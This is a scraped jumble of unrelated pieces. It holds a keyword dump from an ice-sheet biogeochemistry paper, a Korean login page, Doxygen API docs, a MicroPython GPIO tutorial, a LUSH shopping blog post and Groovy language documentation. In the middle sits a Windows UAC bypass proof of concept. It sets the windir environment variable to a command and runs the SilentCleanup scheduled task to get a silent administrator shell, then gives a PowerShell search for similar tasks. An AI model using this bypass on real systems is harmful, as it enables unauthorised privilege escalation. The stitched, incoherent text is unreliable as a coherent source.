ice sheets carbon sheet Ice Greenland subglacial Antarctic glacial marine fluxes Sheet Southern Ocean iron export organic potential beneath hydrate methane ocean nutrient glacier surface meltwater sediments glaciers global high nutrients (). impacts (e.g., associated estimates (Fig. microbial release important present waters Nat. Sci. bioavailable dissolved dust IRD biogeochemical concentrations \right) day magnitude melt production productivity sediment Nature past {border-style flux meltwaters source coastal cycling direct discharge fertilisation impact melting px;} ref. runoff sedimentary sources weathering #ffffff;} DOC Fig. changes cycle freshwater maximum systems ./ngeo Antarctica Earth POC atmospheric including inputs large material processes {{\rm{aq}}} Arctic Geosci. cores enhanced erosion iceberg water However, Res. Supplementary West biological chemical core example, indirect northern particulate rates supply Geophys. Wadham active activity conditions ecosystems matter model phytoplankton sheets, significant total Lett. Subglacial data exported future gas icebergs oxidation role surfaces upwelling values warming ./s--- Science atmosphere evidence fjords glacially hemisphere periods primary sheets. suggest ./nature ./science. Global LGM Research ancient glacial-interglacial include likely mid-range order presence range released small studies sub-Antarctic years ./GL Atlantic Commun. Glacial Sea basins bed forms higher highly low minimum oceans reactive reserves rivers summer time work }\left( (see ./GB Acta Cosmochim. East Tranter [], climate cycles derived destabilisation downstream drainage fate fjord influence lake px; zone zones {font-family Box Change Fluxes Geochim. Geology Lake debris deep directly effect font-size geological hypothesis inferred lithogenic mechanisms microorganisms minerals n/a-n/a particles record reduction relative retreat snow thought tidewater transport ./G. ./ncomms Biogeosciences Carbon Drilling Ecol. Environ. Geophysical Glob. Hawkings Hodson In: John Letters North Ocean, Planet Polar Royal South Spencer Stibal Thus, University, \left( accumulation analysis aquatic bedrock blooms communities compared contributions cryoconite deglaciation diverse double; effects enriched environments estimated following greenhouse grid.. importance increase indicate key long margins mass new nitrogen opal open orders period phases physical rafted recorded regarding regions relationship research respiration rock shelf sinks spatial species stimulate stores sulphide temperature uncertainty valley {\rm{s}} (i.e., ./j.epsl... ./j.gca... Biogeochemical Biological Cycles Environmental Fe, First, Iron Mar. Meire Meltwater Micro. Microbial Paleoceanography Peter Physical Recent Rev. Robert Society Table University aeolian algae annual average basal basin beds border-color border-width bulk burial catchments combination composition contain cycle. darkening drawdown evolution extensive field generated geochemical glaciated glaciers, history indicates mineral net nutrient-rich observed oceanic outlet patterns peak plumes poorly predicted pressure previous published recent reduced reflect residence response sea sediments, silica silicon sink situ size solid; sourced southern storage strong study sub-ice suggests sulphate temporal terrestrial variability {font-style {font-weight (IRD) (Supplementary (and ( Gg ./PA ./bg--- Anderson Andrew Anesio Barents Biogeochem. Biogeochemistry Climate Commons Creative Depth/Age Dome Front. Greenlandic HCO Hawkings, Here, High Hood J., Kohfeld Land Methane Microbiol. Northern OM, PS- Pacific Peninsula Potential Proc. Pulse Quaternary R., Sciences Seasonal Second, Sheet, Skidmore Trans. Whillans, \documentclass[pt]{minimal} \setlength{\oddsidemargin}{-pt} \usepackage{amsbsy} \usepackage{amsfonts} \usepackage{amsmath} \usepackage{amssymb} \usepackage{mathrsfs} \usepackage{upgreek} \usepackage{wasysym} abundant accompanied act algal and/or anthropogenic arctic autotrophic balance bold bound buoyant buried calculated channels community consistent content continental courier; create cycle, deposition different distribution driven ecosystem em; enhance entire fertilization fixed flow forcing formation greater growth hot http://orcid.org/--- implications increased indicated influences inorganic limitation major marginal minimum, modelled modelling models nitrate oceans. offshore overridden particularly permafrost phosphorus positive productivity, provide pt;} records regional requires reservoirs respect reveal riverine rivers, saturation sector sediments. shift similar soluble stream streams supplemented suspended systems, temperatures thicknesses thinning times underlying wide wider {\rm{Fe}}^{ {\rm{HCO}}_^ Gg Tg kyr – Gg


Toggle navigation
qr code login
로그아웃
qr코드 인증
Your web browser must have JavaScript enabled in order for this application to display correctly.
You may need to serve this page over a secure connection (https) to run JsQRScanner correctly.
QR Code 인증 로그인


Documents Management System
request
Logout
Document Upload
Document Download
Application
Ready to Leave?
×
Select "Logout" below if you are ready to end your current session.


Bookmarks
Add Folder
Name:
Confirm
Confirm to delete
?
Delete bookmarks in the folder
Duplicate
Import bookmarks
From:
har
Export bookmarks
To:
har


#Should be fixed on latest versions of Win10
The reason this is interesting is it's a marked as auto-elevating (so will silently run code as UAC admin if the caller is a split-token administrator) and it can be manually started by the non-administrator user.
We can see the Principal property, which determines what account the task runs as and the Actions property which determines what to run. In the Principal property we can see the Group to run as is Authenticated Users which really means it will run as the logged on user starting the task. We also see the RunLevel is set to Highest which means the Task Scheduler will try and elevate the task to administrator without any prompting.
It's using an environment variable as part of the path, and in UAC scenarios these can be influenced by a normal user by writing to the registry key HKEY_CURRENT_USER\Enviroment and specifying a REG_SZ value.
PoC UACBypassSilentCleanup.bat
#Fixed on latest versions of Windows 10
reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && REM "
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
If you want to find other potential candidates the following Powershell script will find all tasks with
executable actions which will auto elevate. On my system there are 4 separate tasks, but only one (the SilentCleanup task) can be executed as a normal user, so the rest are not exploitable. Good thing I guess.
$tasks = Get-ScheduledTask |
Where-Object { $_.Principal.RunLevel -ne "Limited" -and
$_.Principal.LogonType -ne "ServiceAccount" -and
$_.State -ne "Disabled" -and
$_.Actions[0].CimClass.CimClassName -eq "MSFT_TaskExecAction" }


|
DigitalOwl
|
Public Member Functions | |
| JwtFactory (IOptions< JwtIssuerOptions > jwtOptions) | |
| async Task< string > | GenerateEncodedToken (string userName, ClaimsIdentity identity) |
| ClaimsIdentity | GenerateClaimsIdentity (User user) |
Definition at line 11 of file JwtFactory.cs.
| DigitalOwl.Api.Infrastructure.Auth.JwtFactory.JwtFactory | ( | IOptions< JwtIssuerOptions > | jwtOptions | ) |
Definition at line 15 of file JwtFactory.cs.
| ClaimsIdentity DigitalOwl.Api.Infrastructure.Auth.JwtFactory.GenerateClaimsIdentity | ( | User | user | ) |
Implements DigitalOwl.Api.Infrastructure.Auth.IJwtFactory.
Definition at line 47 of file JwtFactory.cs.
| async Task<string> DigitalOwl.Api.Infrastructure.Auth.JwtFactory.GenerateEncodedToken | ( | string | userName, |
| ClaimsIdentity | identity | ||
| ) |
Implements DigitalOwl.Api.Infrastructure.Auth.IJwtFactory.
Definition at line 21 of file JwtFactory.cs.


6. GPIO Pins¶
The way to connect your board to the external world, and control other components, is through the GPIO pins. Not all pins are available to use, in most cases only pins 0, 2, 4, 5, 12, 13, 14, 15, and 16 can be used.
The pins are available in the machine module, so make sure you import that first. Then you can create a pin using:
>>> pin = machine.Pin(0)
Here, the “0” is the pin that you want to access. Usually you want to configure the pin to be input or output, and you do this when constructing it. To make an input pin use:
>>> pin = machine.Pin(0, machine.Pin.IN, machine.Pin.PULL_UP)
You can either use PULL_UP or None for the input pull-mode. If it’s not specified then it defaults to None, which is no pull resistor. GPIO16 has no pull-up mode. You can read the value on the pin using:
>>> pin.value()
0
The pin on your board may return 0 or 1 here, depending on what it’s connected to. To make an output pin use:
>>> pin = machine.Pin(0, machine.Pin.OUT)
Then set its value using:
>>> pin.value(0)
>>> pin.value(1)
Or:
>>> pin.off()
>>> pin.on()
6.1. External interrupts¶
All pins except number 16 can be configured to trigger a hard interrupt if their input changes. You can set code (a callback function) to be executed on the trigger.
Let’s first define a callback function, which must take a single argument, being the pin that triggered the function. We will make the function just print the pin:
>>> def callback(p):
... print('pin change', p)
Next we will create two pins and configure them as inputs:
>>> from machine import Pin
>>> p0 = Pin(0, Pin.IN)
>>> p2 = Pin(2, Pin.IN)
An finally we need to tell the pins when to trigger, and the function to call when they detect an event:
>>> p0.irq(trigger=Pin.IRQ_FALLING, handler=callback)
>>> p2.irq(trigger=Pin.IRQ_RISING | Pin.IRQ_FALLING, handler=callback)
We set pin 0 to trigger only on a falling edge of the input (when it goes from high to low), and set pin 2 to trigger on both a rising and falling edge. After entering this code you can apply high and low voltages to pins 0 and 2 to see the interrupt being executed.
A hard interrupt will trigger as soon as the event occurs and will interrupt any running code, including Python code. As such your callback functions are limited in what they can do (they cannot allocate memory, for example) and should be as short and simple as possible.


---
layout: post
title: Cheated by LUSH - Don't forget to check expiry date before you buy.....
tags:
- Lush
status: publish
type: post
published: true
meta:
_edit_last: '2'
_graphene_slider_img: global
_graphene_slider_imgurl: ''
_graphene_show_addthis: global
_aioseop_keywords: LUSH cheated, Shelf life
_aioseop_description: LUSH review
_aioseop_title: Cheated at LUSH with shelf life
_yoast_wpseo_linkdex: '0'
---
We all know that every product has a shelf life, and it should not be used beyond that. Its very important that when you buy never ever forget to have a look at that label.
I myself made this mistake but in other sense I was cheated. It was my first visit to LUSH and I ended up buying a solid shampoo, conditioner and soap. I had seen a scratched expiry date, and was told by Representative @ Garuda Mall Bangalore that its still in shelf life.
But on my last visit to LUSH @ Forum Mall Bangalore, I found that my conditioner is approaching expiry. Rs. 400 into drain. I find myself at mistake here, should have never believed the representative and should have demanded for a new bottle.
I have even written a mail to LUSH INDIA, but got no response. But every thing happens for a purpose I suppose. Don't go by brand or name, check the ingredients and the SHELF LIFE. I am big fan of LUSH, but from next time its my head that makes the choice and not ignorant/cheater representative.
Has such incidents happened with you ?
UPDATE: I received a letter from LUSH INDIA about the expired product and they have advised me to exchange the product at the same store :)


This chapter covers the object orientation of the Groovy programming language.
1. Types
1.1. Primitive types
Groovy supports the same primitive types as those defined by the Java Language Specification:
-
integral types:
byte
(8 bit),short
(16 bit),int
(32 bit) andlong
(64 bit) -
floating-point types:
float
(32 bit) anddouble
(64 bit) -
boolean
type (exactlytrue
orfalse
) -
char
type (16 bit, usable as a numeric type, representing an UTF-16 code)
1.2. Class
Groovy classes are very similar to Java classes, being compatible to those ones at JVM level. They may have methods and fields/properties, which can have the same modifiers (public, protected, private, static, etc) as Java classes.
Here are key aspects of Groovy classes, that are different from their Java counterparts:
-
Public fields are turned into properties automatically, which results in less verbose code, without so many getter and setter methods. More on this aspect will be covered in the fields and properties section.
-
Their declarations and any property or method without an access modifier are public.
-
Classes do not need to have the same name of the files where they are defined.
-
One file may contain one or more classes (but if a file contains no classes, it is considered a script).
The following code presents an example class.
class Person { (1)
String name (2)
Integer age
def increaseAge(Integer years) { (3)
this.age += years
}
}
| 1 | class beginning, with the name Person |
| 2 | string field and property named name |
| 3 | method definition |
1.2.1. Normal class
Normal classes refer to classes which are top level and concrete. This means they can be instantiated without restrictions from any other classes or scripts. This way, they can only be public (even though the public
keyword may be suppressed). Classes are instantiated by calling their constructors, using the new
keyword, as in the following snippet.
def p = new Person()
1.2.2. Inner class
Inner classes are defined within another classes. The enclosing class can use the inner class as usual. On the other side, a inner class can access members of its enclosing class, even if they are private. Classes other than the enclosing class are not allowed to access inner classes. Here is an example:
class Outer {
private String privateStr
def callInnerMethod() {
new Inner().methodA() (1)
}
class Inner { (2)
def methodA() {
println "${privateStr}." (3)
}
}
}
| 1 | the inner class is instantiated and its method gets called |
| 2 | inner class definition, inside its enclosing class |
| 3 | even being private, a field of the enclosing class is accessed by the inner class |
There are some reasons for using inner classes:
-
They increase encapsulation by hiding the inner class from other classes, which do not need to know about it. This also leads to cleaner packages and workspaces.
-
They provide a good organization, by grouping classes that are used by only one class.
-
They lead to more maintainable codes, since inner classes are near the classes that use them.
In several cases, inner classes are implementation of interfaces whose methods are needed by the outer class. The code below illustrates this with the usage of threads, which are very common.
class Outer2 {
private String privateStr = 'some string'
def startThread() {
new Thread(new Inner2()).start()
}
class Inner2 implements Runnable {
void run() {
println "${privateStr}."
}
}
}
Note that the class Inner2
is defined only to provide an implementation of the method run
to class Outer2
. Anonymous inner classes help to eliminate verbosity in this case.
Anonymous inner class
The last example of inner class can be simplified with an anonymous inner class. The same functionality can be achieved with the following code.
class Outer3 {
private String privateStr = 'some string'
def startThread() {
new Thread(new Runnable() { (1)
void run() {
println "${privateStr}."
}
}).start() (2)
}
}
| 1 | comparing with the last example of previous section, the new Inner2() was replaced by new Runnable() along with all its implementation |
| 2 | the method start is invoked normally |
Thus, there was no need to define a new class to be used just once.
1.2.3. Abstract class
Abstract classes represent generic concepts, thus, they cannot be instantiated, being created to be subclassed. Their members include fields/properties and abstract or concrete methods. Abstract methods do not have implementation, and must be implemented by concrete subclasses.
abstract class Abstract { (1)
String name
abstract def abstractMethod() (2)
def concreteMethod() {
println 'concrete'
}
}
| 1 | abstract classes must be declared with abstract keyword |
| 2 | abstract methods must also be declared with abstract keyword |
Abstract classes are commonly compared to interfaces. But there are at least two important differences of choosing one or another. First, while abstract classes may contain fields/properties and concrete methods, interfaces may contain only abstract methods (method signatures). Moreover, one class can implement several interfaces, whereas it can extend just one class, abstract or not.
1.3. Interface
An interface defines a contract that a class needs to conform to. An interface only defines a list of methods that need to be implemented, but does not define the methods implementation.
interface Greeter { (1)
void greet(String name) (2)
}
| 1 | an interface needs to be declared using the interface keyword |
| 2 | an interface only defines method signatures |
Methods of an interface are always public. It is an error to use protected
or private
methods in interfaces:
interface Greeter {
protected void greet(String name) (1)
}
| 1 | Using protected is a compile-time error |
A class implements an interface if it defines the interface in its implements
list or if any of its superclasses
does:
class SystemGreeter implements Greeter { (1)
void greet(String name) { (2)
println "Hello $name"
}
}
def greeter = new SystemGreeter()
assert greeter instanceof Greeter (3)
| 1 | The SystemGreeter declares the Greeter interface using the implements keyword |
| 2 | Then implements the required greet method |
| 3 | Any instance of SystemGreeter is also an instance of the Greeter interface |
An interface can extend another interface:
interface ExtendedGreeter extends Greeter { (1)
void sayBye(String name)
}
| 1 | the ExtendedGreeter interface extends the Greeter interface using the extends keyword |
It is worth noting that for a class to be an instance of an interface, it has to be explicit. For example, the following
class defines the greet
method as it is declared in the Greeter
interface, but does not declare Greeter
in its
interfaces:
class DefaultGreeter {
void greet(String name) { println "Hello" }
}
greeter = new DefaultGreeter()
assert !(greeter instanceof Greeter)
In other words, Groovy does not define structural typing. It is however possible to make an instance of an object
implement an interface at runtime, using the as
coercion operator:
greeter = new DefaultGreeter() (1)
coerced = greeter as Greeter (2)
assert coerced instanceof Greeter (3)
| 1 | create an instance of DefaultGreeter that does not implement the interface |
| 2 | coerce the instance into a Greeter at runtime |
| 3 | the coerced instance implements the Greeter interface |
You can see that there are two distinct objects: one is the source object, a DefaultGreeter
instance, which does not
implement the interface. The other is an instance of Greeter
that delegates to the coerced object.
| Groovy interfaces do not support default implementation like Java 8 interfaces. If you are looking for something similar (but not equal), traits are close to interfaces, but allow default implementation as well as other important features described in this manual. |
1.4. Constructors
Constructors are special methods used to initialize an object with a specific state. As in normal methods, it is possible for a class to declare more than one constructor. In Groovy there are two ways to invoke constructors: with positional parameters or named parameters. The former one is like we invoke Java constructors, while the second way allows one to specify the parameter names when invoking the constructor.
1.4.1. Positional argument constructor
To create an object by using positional argument constructors, the respective class needs to declare each of the constructors it allows being called. A side effect of this is that, once at least one constructor is declared, the class can only be instantiated by getting one of its constructors called. It is worth noting that, in this case, there is no way to create the class with named parameters.
There is three forms of using a declared constructor. The first one is the normal Java way, with the new
keyword. The others rely on coercion of lists into the desired types. In this case, it is possible to coerce with the as
keyword and by statically typing the variable.
class PersonConstructor {
String name
Integer age
PersonConstructor(name, age) { (1)
this.name = name
this.age = age
}
}
def person1 = new PersonConstructor('Marie', 1) (2)
def person2 = ['Marie', 2] as PersonConstructor (3)
PersonConstructor person3 = ['Marie', 3] (4)
| 1 | Constructor declaration |
| 2 | Constructor invocation, classic Java way |
| 3 | Constructor usage, using coercion with as keyword |
| 4 | Constructor usage, using coercion in assignment |
1.4.2. Named argument constructor
If no constructor is declared, it is possible to create objects by passing parameters in the form of a map (property/value pairs). This can be in handy in cases where one wants to allow several combinations of parameters. Otherwise, by using traditional positional parameters it would be necessary to declare all possible constructors.
class PersonWOConstructor { (1)
String name
Integer age
}
def person4 = new PersonWOConstructor() (2)
def person5 = new PersonWOConstructor(name: 'Marie') (3)
def person6 = new PersonWOConstructor(age: 1) (4)
def person7 = new PersonWOConstructor(name: 'Marie', age: 2) (5)
| 1 | No constructor declared |
| 2 | No parameters given in the instantiation |
| 3 | name parameter given in the instantiation |
| 4 | age parameter given in the instantiation |
| 5 | name and age parameters given in the instantiation |
It is important to highlight, however, that this approach gives more power to the constructor caller, while imposes a major responsibility to it. Thus, if a restriction is needed, one can just declare one or more constructors, and the instantiation by named parameters will no longer be available.
1.5. Methods
Groovy methods are quite similar to other languages. Some peculiarities will be shown in the next subsections.
1.5.1. Method definition
A method is defined with a return type or with the def
keyword, to make the return type untyped. A method can also receive any number of arguments, which may not have their types explicitly declared. Java modifiers can be used normally, and if no visibility modifier is provided, the method is public.
Methods in Groovy always return some value. If no return
statement is provided, the value evaluated in the last line executed will be returned. For instance, note that none of the following methods uses the return
keyword.
def someMethod() { 'method called' } (1)
String anotherMethod() { 'another method called' } (2)
def thirdMethod(param1) { "$param1 passed" } (3)
static String fourthMethod(String param1) { "$param1 passed" } (4)
| 1 | Method with no return type declared and no parameter |
| 2 | Method with explicit return type and no parameter |
| 3 | Method with a parameter with no type defined |
| 4 | Static method with a String parameter |
1.5.2. Named arguments
Like constructors, normal methods can also be called with named arguments. They need to receive the parameters as a map. In the method body, the values can be accessed as in normal maps (map.key
).
def foo(Map args) { "${args.name}: ${args.age}" }
foo(name: 'Marie', age: 1)
1.5.3. Default arguments
Default arguments make parameters optional. If the argument is not supplied, the method assumes a default value.
def foo(String par1, Integer par2 = 1) { [name: par1, age: par2] }
assert foo('Marie').age == 1
Note that no mandatory parameter can be defined after a default parameter is present, only other default parameters.
1.5.4. Varargs
Groovy supports methods with a variable number of arguments. They are defined like this: def foo(p1, …, pn, T… args)
.
Here foo
supports n
arguments by default, but also an unspecified number of further arguments exceeding n
.
def foo(Object... args) { args.length }
assert foo() == 0
assert foo(1) == 1
assert foo(1, 2) == 2
This example defines a method foo
, that can take any number of arguments, including no arguments at all.
args.length
will return the number of arguments given. Groovy allows T[]
as a alternative notation to T…
.
That means any method with an array as last parameter is seen by Groovy as a method that can take a variable number of arguments.
def foo(Object[] args) { args.length }
assert foo() == 0
assert foo(1) == 1
assert foo(1, 2) == 2
If a method with varargs is called with null
as the vararg parameter, then the argument will be null
and not an array of length one with null
as the only element.
def foo(Object... args) { args }
assert foo(null) == null
If a varargs method is called with an array as an argument, then the argument will be that array instead of an array of length one containing the given array as the only element.
def foo(Object... args) { args }
Integer[] ints = [1, 2]
assert foo(ints) == [1, 2]
Another important point are varargs in combination with method overloading. In case of method overloading Groovy will select the most specific method.
For example if a method foo
takes a varargs argument of type T
and another method foo
also takes one argument of type T
, the second method is preferred.
def foo(Object... args) { 1 }
def foo(Object x) { 2 }
assert foo() == 1
assert foo(1) == 2
assert foo(1, 2) == 1
1.6. Fields and properties
1.6.1. Fields
A field is a member of a class or a trait which:
-
a mandatory access modifier (
public
,protected
, orprivate
) -
one or more optional modifiers (
static
,final
,synchronized
) -
an optional type
-
a mandatory name
class Data {
private int id (1)
protected String description (2)
public static final boolean DEBUG = false (3)
}
| 1 | a private field named id , of type int |
| 2 | a protected field named description , of type String |
| 3 | a public static final field named DEBUG of type boolean |
A field may be initialized directly at declaration:
class Data {
private String id = IDGenerator.next() (1)
// ...
}
| 1 | the private field id is initialized with IDGenerator.next() |
It is possible to omit the type declaration of a field. This is however considered a bad practice and in general it is a good idea to use strong typing for fields:
class BadPractice {
private mapping (1)
}
class GoodPractice {
private Map<String,String> mapping (2)
}
| 1 | the field mapping doesn’t declare a type |
| 2 | the field mapping has a strong type |
The difference between the two is important if you want to use optional type checking later. It is also important for documentation. However in some cases like scripting or if you want to rely on duck typing it may be interesting to omit the type.
1.6.2. Properties
A property is a combination of a private field and getters/setters. You can define a property with:
-
an absent access modifier (no
public
,protected
orfinal
) -
one or more optional modifiers (
static
,final
,synchronized
) -
an optional type
-
a mandatory name
Groovy will then generate the getters/setters appropriately. For example:
class Person {
String name (1)
int age (2)
}
| 1 | creates a backing private String name field, a getName and a setName method |
| 2 | creates a backing private int age field, a getAge and a setAge method |
If a property is declared final
, no setter is generated:
class Person {
final String name (1)
final int age (2)
Person(String name, int age) {
this.name = name (3)
this.age = age (4)
}
}
| 1 | defines a read-only property of type String |
| 2 | defines a read-only property of type int |
| 3 | assigns the name parameter to the name field |
| 4 | assigns the age parameter to the age field |
Properties are accessed by name and will call the getter or setter transparently, unless the code is in the class which defines the property:
class Person {
String name
void name(String name) {
this.name = "Wonder$name" (1)
}
String wonder() {
this.name (2)
}
}
def p = new Person()
p.name = 'Marge' (3)
assert p.name == 'Marge' (4)
p.name('Marge') (5)
assert p.wonder() == 'WonderMarge' (6)
| 1 | this.name will directly access the field because the property is accessed from within the class that defines it |
| 2 | similarily a read access is done directly on the name field |
| 3 | write access to the property is done outside of the Person class so it will implicitly call setName |
| 4 | read access to the property is done outside of the Person class so it will implicitly call getName |
| 5 | this will call the name method on Person which performs a direct access to the field |
| 6 | this will call the wonder method on Person which performs a direct read access to the field |
It is worth noting that this behavior of accessing the backing field directly is done in order to prevent a stack overflow when using the property access syntax within a class that defines the property.
It is possible to list the properties of a class thanks to the meta properties
field of an instance:
class Person {
String name
int age
}
def p = new Person()
assert p.properties.keySet().containsAll(['name','age'])
By convention, Groovy will recognize properties even if there is no backing field, if there are getters or setters that follow the Java Beans specification. For example:
class PseudoProperties {
// a pseudo property "name"
void setName(String name) {}
String getName() {}
// a pseudo read-only property "age"
int getAge() { 42 }
// a pseudo write-only property "groovy"
void setGroovy(boolean groovy) { }
}
def p = new PseudoProperties()
p.name = 'Foo' (1)
assert p.age == 42 (2)
p.groovy = true (3)
| 1 | reading p.name is allowed because there is a pseudo-property name |
| 2 | reading p.age is allowed because there is a pseudo-readonly property age |
| 3 | writing p.groovy is allowed because there is a pseudo-writeonly property groovy |
This syntactic sugar is at the core of many DSLs written in Groovy.
1.7. Annotation
1.7.1. Annotation definition
An annotation is a kind of special interface dedicated at annotating elements of the code. An annotation is a type which
superinterface is the Annotation interface. Annotations are declared in a very
similar way to interfaces, using the @interface
keyword:
@interface SomeAnnotation {}
An annotation may define members in the form of methods without bodies and an optional default value. The possible member types are limited to:
-
primitive types
-
an enumeration
-
another annotation type
-
or any array of the above
For example:
@interface SomeAnnotation {
String value() (1)
}
@interface SomeAnnotation {
String value() default 'something' (2)
}
@interface SomeAnnotation {
int step() (3)
}
@interface SomeAnnotation {
Class appliesTo() (4)
}
@interface SomeAnnotation {}
@interface SomeAnnotations {
SomeAnnotation[] value() (5)
}
enum DayOfWeek { mon, tue, wed, thu, fri, sat, sun }
@interface Scheduled {
DayOfWeek dayOfWeek() (6)
}
| 1 | an annotation defining a value member of type String |
| 2 | an annotation defining a value member of type String with a default value of something |
| 3 | an annotation defining a step member of type the primitive type int |
| 4 | an annotation defining a appliesTo member of type Class |
| 5 | an annotation defining a value member which type is an array of another annotation type |
| 6 | an annotation defining a dayOfWeek member which type is the enumeration type DayOfWeek |
Unlike in the Java language, in Groovy, an annotation can be used to alter the semantics of the language. It is especially true of AST transformations which will generate code based on annotations.
1.7.2. Annotation placement
An annotation can be applied on various elements of the code:
@SomeAnnotation (1)
void someMethod() {
// ...
}
@SomeAnnotation (2)
class SomeClass {}
@SomeAnnotation String var (3)
| 1 | @SomeAnnotation applies to the someMethod method |
| 2 | @SomeAnnotation applies to the SomeClass class |
| 3 | @SomeAnnotation applies to the var variable |
In order to limit the scope where an annotation can be applied, it is necessary to declare it on the annotation definition, using the Target annotation. For example, here is how you would declare that an annotation can be applied to a class or a method:
import java.lang.annotation.ElementType
import java.lang.annotation.Target
@Target([ElementType.METHOD, ElementType.TYPE]) (1)
@interface SomeAnnotation {} (2)
| 1 | the @Target annotation is meant to annotate an annotation with a scope. |
| 2 | @SomeAnnotation will therefore only be allowed on TYPE or METHOD |
The list of possible targets is available in the ElementType enumeration.
| Groovy does not support the TYPE_PARAMETER and TYPE_USE element types which were introduced in Java 8. |
1.7.3. Annotation member values
When an annotation is used, it is required to set at least all members that do not have a default value. For example:
@interface Page {
int statusCode()
}
@Page(statusCode=404)
void notFound() {
// ...
}
However it is possible to omit value=
in the declaration of the value of an annotation if the member value
is the
only one being set:
@interface Page {
String value()
int statusCode() default 200
}
@Page(value='/home') (1)
void home() {
// ...
}
@Page('/users') (2)
void userList() {
// ...
}
@Page(value='error',statusCode=404) (3)
void notFound() {
// ...
}
| 1 | we can omit the statusCode because it has a default value, but value needs to be set |
| 2 | since value is the only mandatory member without a default, we can omit value= |
| 3 | if both value and statusCode need to be set, it is required to use value= for the default value member |
1.7.4. Retention policy
The visibility of an annotation depends on its retention policy. The retention policy of an annotation is set using the Retention annotation:
import java.lang.annotation.Retention
import java.lang.annotation.RetentionPolicy
@Retention(RetentionPolicy.SOURCE) (1)
@interface SomeAnnotation {} (2)
| 1 | the @Retention annotation annotates the @SomeAnnotation annotation |
| 2 | so @SomeAnnotation will have a SOURCE retention |
The list of possible retention targets and description is available in the RetentionPolicy enumeration. The choice usually depends on whether you want an annotation to be visible at compile time or runtime.
1.7.5. Closure annotation parameters
An interesting feature of annotations in Groovy is that you can use a closure as an annotation value. Therefore annotations may be used with a wide variety of expressions and still have IDE support. For example, imagine a framework where you want to execute some methods based on environmental constraints like the JDK version or the OS. One could write the following code:
class Tasks {
Set result = []
void alwaysExecuted() {
result << 1
}
@OnlyIf({ jdk>=6 })
void supportedOnlyInJDK6() {
result << 'JDK 6'
}
@OnlyIf({ jdk>=7 && windows })
void requiresJDK7AndWindows() {
result << 'JDK 7 Windows'
}
}
For the @OnlyIf
annotation to accept a Closure
as an argument, you only have to declare the value
as a Class
:
@Retention(RetentionPolicy.RUNTIME)
@interface OnlyIf {
Class value() (1)
}
To complete the example, let’s write a sample runner that would use that information:
class Runner {
static <T> T run(Class<T> taskClass) {
def tasks = taskClass.newInstance() (1)
def params = [jdk:6, windows: false] (2)
tasks.class.declaredMethods.each { m -> (3)
if (Modifier.isPublic(m.modifiers) && m.parameterTypes.length == 0) { (4)
def onlyIf = m.getAnnotation(OnlyIf) (5)
if (onlyIf) {
Closure cl = onlyIf.value().newInstance(tasks,tasks) (6)
cl.delegate = params (7)
if (cl()) { (8)
m.invoke(tasks) (9)
}
} else {
m.invoke(tasks) (10)
}
}
}
tasks (11)
}
}
| 1 | create a new instance of the class passed as an argument (the task class) |
| 2 | emulate an environment which is JDK 6 and not Windows |
| 3 | iterate on all declared methods of the task class |
| 4 | if the method is public and takes no-argument |
| 5 | try to find the @OnlyIf annotation |
| 6 | if it is found get the value and create a new Closure out of it |
| 7 | set the delegate of the closure to our environment variable |
| 8 | call the closure, which is the annotation closure. It will return a boolean |
| 9 | if it is true , call the method |
| 10 | if the method is not annotated with @OnlyIf , execute the method anyway |
| 11 | after that, return the task object |
Then the runner can be used this way:
def tasks = Runner.run(Tasks)
assert tasks.result == [1, 'JDK 6'] as Set
1.7.6. Meta-annotations
Declaring meta-annotations
Meta-annotations, also known as annotation aliases are annotations that are replaced at compile time by other annotations (one meta-annotation is an alias for one or more annotations). Meta-annotations can be used to reduce the size of code involving multiple annotations.
Let’s start with a simple example. Imagine you have the @Service
and @Transactional
annotations and that you want to annotate a class
with both:
@Service
@Transactional
class MyTransactionalService {}
Given the multiplication of annotations that you could add to the same class, a meta-annotation could help by reducing the two annotations with a single one having the very same semantics. For example, we might want to write this instead:
@TransactionalService (1)
class MyTransactionalService {}
| 1 | @TransactionalService is a meta-annotation |
A meta-annotation is declared as a regular annotation but annotated with @AnnotationCollector
and the
list of annotations it is collecting. In our case, the @TransactionalService
annotation can be written:
import groovy.transform.AnnotationCollector
@Service (1)
@Transactional (2)
@AnnotationCollector (3)
@interface TransactionalService {
}
| 1 | annotate the meta-annotation with @Service |
| 2 | annotate the meta-annotation with @Transactional |
| 3 | annotate the meta-annotation with @AnnotationCollector |
Behavior of meta-annotations
Groovy supports both precompiled and source form meta-annotations. This means that your meta-annotation may be precompiled, or you can have it in the same source tree as the one you are currently compiling.
INFO: Meta-annotations are a Groovy feature only. There is no chance for you to annotate a Java class with a meta-annotation and hope it will do the same as in Groovy. Likewise, you cannot write a meta-annotation in Java: both the meta-annotation definition and usage have to be Groovy code.
When the Groovy compiler encounters a class annotated with a
meta-annotation, it replaces it with the collected annotations. That
is, in our previous example, that it will
replace @TransactionalService
with @Transactional
and @Service
:
def annotations = MyTransactionalService.annotations*.annotationType()
assert (Service in annotations)
assert (Transactional in annotations)
The conversion from a meta-annotation to the collected annotations is performed during the semantic analysis compilation phase.
In addition to replacing the alias with the collected annotations, a meta-annotation is capable of processing them, including arguments.
Meta-annotation parameters
Meta-annotations can collect annotations which have parameters. To illustrate this, we will imagine two annotations, each of them accepting one argument:
@Timeout(after=3600)
@Dangerous(type='explosive')
And that you want create a meta-annotation named @Explosive
:
@Timeout(after=3600)
@Dangerous(type='explosive')
@AnnotationCollector
public @interface Explosive {}
By default, when the annotations are replaced, they will get the values as they were defined in the alias. More interesting, the meta-annotation supports overriding specific values:
@Explosive(after=0) (1)
class Bomb {}
| 1 | the after value provided as a parameter to @Explosive overrides the one defined in the @Timeout annotation |
If two annotations define the same parameter name, the default processor will copy the annotation value to all annotations that accept this parameter:
@Retention(RetentionPolicy.RUNTIME)
public @interface Foo {
String value() (1)
}
@Retention(RetentionPolicy.RUNTIME)
public @interface Bar {
String value() (2)
}
@Foo
@Bar
@AnnotationCollector
public @interface FooBar {} (3)
@Foo('a')
@Bar('b')
class Bob {} (4)
assert Bob.getAnnotation(Foo).value() == 'a' (5)
println Bob.getAnnotation(Bar).value() == 'b' (6)
@FooBar('a')
class Joe {} (7)
assert Joe.getAnnotation(Foo).value() == 'a' (8)
println Joe.getAnnotation(Bar).value() == 'a' (9)
| 1 | the @Foo annotation defines the value member of type String |
| 2 | the @Bar annotation also defines the value member of type String |
| 3 | the @FooBar meta-annotation aggregates @Foo and @Bar |
| 4 | class Bob is annotated with @Foo and @Bar |
